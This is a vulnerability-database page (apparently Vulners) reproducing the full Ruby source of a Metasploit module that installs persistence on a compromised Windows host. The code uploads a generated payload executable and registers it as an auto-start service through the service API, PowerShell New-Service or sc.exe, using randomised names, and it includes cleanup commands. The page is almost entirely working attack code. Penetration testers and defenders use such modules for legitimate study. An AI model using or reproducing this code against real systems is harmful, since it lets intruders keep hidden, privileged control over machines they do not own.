Lucene search
K

Windows Persistent Service Installer

🗓️ 18 Nov 2025 18:53:41Reported by Green-m <[email protected]>, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 870 Views

Uploads an executable to a remote host and creates a service to run the payload with admin or system privileges.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Post::Windows::Services
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Post::Windows::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/persistence_service'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Persistent Service Installer',
        'Description' => %q{
          This Module will generate and upload an executable to a remote host.
          It will create a new service which will start the payload whenever the service is running. Admin or system
          privilege is required.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Green-m <greenm.xxoo[at]gmail.com>', # original module
          'h00die' # persistence updates
        ],
        'Platform' => [ 'windows' ],
        'Targets' => [['Windows', {}]],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Privileged' => true,
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'],
          ['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'],
          ['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],
          ['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
        ],
        'DisclosureDate' => '2018-10-20',
        'DefaultOptions' => {
          'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start
        },
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
        OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
        OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']),
        OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]),
        OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]),
      ]
    )
  end

  def check
    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)

    return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin?

    CheckCode::Appears('Likely exploitable')
  end

  def install_persistence
    fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin?

    rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8)
    @service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12)
    @service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8)
    @service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12)

    rexename << '.exe' unless rexename.end_with?('.exe')

    vprint_status('Compiling payload')
    @dest_pathname = writable_dir + '\\' + rexename
    exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })
    write_file(@dest_pathname, exe)
    print_good("Payload written to #{@dest_pathname}")

    success = false
    if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto'
      vprint_status('Attempting API method')
      success = api_service
    end
    if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell?
      vprint_status('Attempting Powershell method')
      success = powershell_service
    end
    if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success
      vprint_status('Attempting sc.exe method')
      sc_service
    end

    @clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n"
    @clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"
    @clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n"
  end

  def powershell_service
    vprint_status("Install service: #{@service_dname} (#{@service_name})")
    service_builder = "New-Service -Name '#{@service_name}' "
    service_builder << "-DisplayName '#{@service_dname}' "
    service_builder << "-Description '#{@service_description}' "
    service_builder << "-BinaryPathName '#{@dest_pathname}' "
    service_builder << '-StartupType Automatic'
    resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")
    return false if resp.include?('Access is denied')
    return false unless resp.include?('Stopped')

    vprint_status("Service install response: #{resp}")
    vprint_status('Starting service')
    resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")
    vprint_status("Service start response: #{resp}")
    true
  end

  def sc_service
    vprint_status("Install service: #{@service_dname} (#{@service_name})")
    sc_cmd = "sc.exe create #{@service_name} "
    sc_cmd << "binPath= \"#{@dest_pathname}\" "
    sc_cmd << 'start= auto '
    sc_cmd << "DisplayName= \"#{@service_dname}\""
    resp = cmd_exec(sc_cmd)
    return false if resp.include?('FAILED')

    vprint_status("Service install response: #{resp}")
    vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\""))
    vprint_status('Starting service')
    resp = cmd_exec("sc.exe start \"#{@service_name}\"")
    vprint_status("Service start response: #{resp}")
    true
  end

  def api_service
    vprint_status("Install service: #{@service_dname} (#{@service_name})")
    resp = service_create(@service_name,
                          {
                            display: @service_dname,
                            path: @dest_pathname
                          })
    return false unless resp == 0

    vprint_status("Service install code: #{resp}")
    vprint_status('Starting service')
    vprint_status("Service start code: #{service_start(@service_name)}")
    true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jul 2026 19:02Current
5.8Medium risk
Vulners AI Score5.8
870